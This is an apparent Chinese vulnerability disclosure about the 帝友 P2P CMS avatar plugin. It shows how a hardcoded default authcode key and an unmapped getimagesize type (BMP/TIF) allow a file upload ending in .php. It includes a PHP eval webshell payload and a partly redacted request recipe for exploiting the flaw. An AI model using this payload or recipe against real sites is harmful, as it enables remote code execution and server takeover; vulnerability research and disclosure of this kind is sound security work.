### 简要描述:
唉……这代码质量,顿时给跪下了。
### 详细说明:
这个洞洞需要结合上次爆的默认密钥一起来爽。
====================上集回顾====================
帝友在整个程序中使用了自定义的对称加密方式(通常被定义为authcode或类似名称),而如果不显式指定或修改源码,函数将会调用默认密钥。这是本漏洞触发的前置条件。
===================上集回顾完===================
随着审计工作的愉快进行,我发现到/plugins/avatar/avatar.class.php中一个方法长得很有趣:
```
function onuploadavatar() {
@header("Expires: 0");
@header("Cache-Control: private, post-check=0, pre-check=0, max-age=0", FALSE);
@header("Pragma: no-cache");
//header("Content-type: application/xml; charset=utf-8");
$this->init_input($this->getgpc('agent', 'G'));
$uid = $this->input('uid');
if(empty($uid)) {
return -1;
}
if(empty($_FILES['Filedata'])) {
return -3;
}
list($width, $height, $type, $attr) = getimagesize($_FILES['Filedata']['tmp_name']);
$imgtype = array(1 => '.gif', 2 => '.jpg', 3 => '.png');
$filetype = $imgtype[$type];
$tmpavatar = AVATAR_DATADIR.'./tmp/upload'.$uid.$filetype; //【这里拼合了$uid和$filetype两个变量作为move_uploaded_file的参数】
file_exists($tmpavatar) && @unlink($tmpavatar);
if(@copy($_FILES['Filedata']['tmp_name'], $tmpavatar) || @move_uploaded_file($_FILES['Filedata']['tmp_name'], $tmpavatar)) {
@unlink($_FILES['Filedata']['tmp_name']);
list($width, $height, $type, $attr) = getimagesize($tmpavatar);
if($width < 10 || $height < 10 || $type == 4) {
@unlink($tmpavatar);
return -2;
}
} else {
@unlink($_FILES['Filedata']['tmp_name']);
return -4;
}
$avatarurl = AVATAR_DATAURL.'/tmp/upload'.$uid.$filetype;
return $avatarurl;
}
```
我们重点来关心$uid和$filetype是否可控。
$uid赋值来自于
```
$uid = $this->input('uid');
```
而$filetype则来自于$imgtype数组中的元素。
```
$filetype = $imgtype[$type]
```
首先来看input方法:
```
function input($k) {
return isset($this->input[$k]) ? (is_array($this->input[$k]) ? $this->input[$k] : trim($this->input[$k])) : NULL;
}
```
input方法只是简单的返回了当前对象的input属性数组中对应元素或者null。我们可以发现,在onuploadavatar方法中,init_input方法会被调用。而这个init_input方法干了啥事儿:
```
function init_input($getagent = '') {
$input = $this->getgpc('input', 'R'); //【这里直接引用了用户传递进来的input参数】
if($input) {
$input = $this->authcode($input, 'DECODE', 'deck'); //【全国人民喜闻乐见的authcode出现了!这里指定了默认密钥deck!】
parse_str($input, $this->input);
$this->input = $this->daddslashes($this->input, 1, TRUE);
$agent = $getagent ? $getagent : $this->input['agent'];
if(($getagent && $getagent != $this->input['agent']) || (!$getagent && md5($_SERVER['HTTP_USER_AGENT']) != $agent)) {
exit('Access denied for agent changed');
} elseif($this->time - $this->input('time') > 3600) {
exit('Authorization has expired');
}
}
if(empty($this->input)) {
exit('Invalid input');
}
}
```
看到authcode我就放心的知道,这里存在默认密钥的利用点。换句话说,被init_input解码的参数如果来自于用户,则在未修改此处代码的情况下【可控】。
这时候,如果这个点要能被利用,那么还需要满足后缀可控。但是,程序中使用了一个不是来自用户的变量(依据getimagesize函数返回值)去向$filetype赋值,而且强制指定了jpg/png/gif三种扩展名。
我们来到世界上最好的语言PHP的官网上查找getimagesize的说明。机智的我发现了这一点:
[<img src="https://images.seebug.org/upload/201506/062353371edcbf5a9b61ac9e74cad68fa338121d.jpg" alt="getimagesize" width="600" onerror="javascript:errimg(this);">](https://images.seebug.org/upload/201506/062353371edcbf5a9b61ac9e74cad68fa338121d.jpg)
getimagesize除了能识别jpg/png/gif之外还他喵的能处理其他多种类型的图片。于是,我进行这些尝试:
[<img src="https://images.seebug.org/upload/201506/06235630ffb4ba127d8ef488df5e709c401a4589.png" alt="bmp" width="600" onerror="javascript:errimg(this);">](https://images.seebug.org/upload/201506/06235630ffb4ba127d8ef488df5e709c401a4589.png)
[<img src="https://images.seebug.org/upload/201506/06235755a2aaf3903d765cf9be07b1f8c9b2db2c.png" alt="tif" width="600" onerror="javascript:errimg(this);">](https://images.seebug.org/upload/201506/06235755a2aaf3903d765cf9be07b1f8c9b2db2c.png)
可以发现,如果使用bmp或者tif的图片文件可以让getimagesize返回值数组的第三个元素不落在$imgtype的键名中。
在PHP中,拼合一个不存在键名的数组元素等于拼合空数组。
此时,PoC可以使用以下方式构造:
$uid = (解码后)fuckyou.php && 一个包含<?php @eval($_POST[a]); ?>的BMP图片。
调用默认加密过程将特殊的$uid转换为base64,然后直接向
{打个码吧,免得太直白了}?m=user&inajax=1&a=uploadavatar&appid=1&input={啦啦啦不告诉你}&agent=hahahahahahah&avatartype=virtual
提交上传请求,接着访问一下,哟吼~
[<img src="https://images.seebug.org/upload/201506/0700093788044b718de8a4fc356f03b4aec8bdd0.png" alt="Webshell" width="600" onerror="javascript:errimg(this);">](https://images.seebug.org/upload/201506/0700093788044b718de8a4fc356f03b4aec8bdd0.png)
(P.S:由于帝友使用了加密参数,所有这个洞能bypass掉各种waf,自带打狗棒的节奏不能更爽……)
### 漏洞证明:
[<img src="https://images.seebug.org/upload/201506/0700093788044b718de8a4fc356f03b4aec8bdd0.png" alt="Webshell" width="600" onerror="javascript:errimg(this);">](https://images.seebug.org/upload/201506/0700093788044b718de8a4fc356f03b4aec8bdd0.png)
暂无评论